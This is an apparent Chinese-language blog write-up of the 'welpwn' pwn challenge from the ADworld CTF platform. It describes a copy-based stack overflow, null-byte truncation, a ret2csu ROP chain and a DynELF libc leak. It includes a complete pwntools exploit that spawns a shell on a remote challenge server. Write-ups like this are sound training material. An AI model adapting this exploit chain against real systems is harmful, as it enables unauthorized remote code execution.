ADworld pwn wp - welpwn

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

输入没有溢出, 但是复制过程出现了溢出点, 0x400复制到0x10中, 所以可以溢出echo函数, 劫持到ROP泄露puts地址, 找到libc版本, 然后ret2libc. 不过尝试之后发现行不通, 因为复制过程遇到截断符’\0’会停止, 所以直接ROP链会复制不完全, pop_rdi_addr本身就包含了’\0’, 所以可以平衡栈后执行ROP, 这里不一定是在复制完返回地址之后马上截断, 但是8字节地址中包含’\0’, 所以一定会截断, 这里覆盖到的地址是buf的前8个字节, 对ROP没影响, 所以理论可行
在这里插入图片描述
栈帧结构
在这里插入图片描述
所以需要pop_4_addr, 弹出buf的前4 * 8个字节, 后面接ROP就可以正常运行
这里构造ROP需要特殊的片段, 也考验攻击者的构造能力

在这里插入图片描述

在这里插入图片描述

设置

rbx = 0
rbp = 1
r12 = write_got
r13 = rdx = write的第三个参数 = 8
r14 = rsi = write的第二个参数 = leak_addr
r15 = rdi = write的第一个参数 = 1 写出leak的地址

用DynELF泄露地址后, 寻找system地址, 配合写入"/bin/sh"实现get shell
这里需要注意, 执行mov_addr片段后, 会继续执行pop_6_addr片段, 所以需要填充7 * 8 = 56字节的数据, 再劫持会start_addr, 重复运行, 第二次运行时已经有了system地址, 所以只需要write写入"/bin/sh"到elf.bss()段, 再system调用即可

from pwn import *
from pwnlib.util.cyclic import cyclic
from pwnlib.util.misc import write 

URL, PORT = "111.200.241.244", 57464 
sel = 1
io = process("./welpwn") if sel == 0 else remote(URL, PORT)

elf = ELF("./welpwn")
print("success")
start_addr = 0x0000000000400630
read_got = elf.got['read']
write_got = elf.got['write']
pop_4_addr = 0x000000000040089c
pop_6_addr = 0x000000000040089A
pop_rdi_addr = 0x00000000004008a3
mov_addr = 0x0000000000400880
binsh_addr = elf.bss()

def leak(addr):
    print(io.recv(1024))
    payload1 = cyclic(0x18) + p64(pop_4_addr) + p64(pop_6_addr) 
    payload1 += p64(0) + p64(1) + p64(write_got) + p64(8) + p64(addr) + p64(1)
    payload1 += p64(mov_addr) + cyclic(56) + p64(start_addr)
    payload1.ljust(1024, b'z')
    io.send(payload1)
    leak_addr = io.recv(8)
    return leak_addr

dyn = DynELF(leak, elf = ELF("./welpwn"))
sys_addr = dyn.lookup('system', 'libc')
payload2 = cyclic(0x18) + p64(pop_4_addr) + p64(pop_6_addr)
payload2 += p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(0)
payload2 += p64(mov_addr) + cyclic(56) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(sys_addr) 
payload2.ljust(1024, b'z')
print(io.recv(1024))
io.send(payload2)
io.send("/bin/sh\x00")
io.interactive()

在这里插入图片描述

总结

python3.x使用DynELF, 返回bytes类型就行, 不需要做任何处理

写入时记住read的第一个参数是0, 以标准输入stdin写入

打不通时, 注意检查payload是否少写了pop_rdi_addr设置system的参数

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值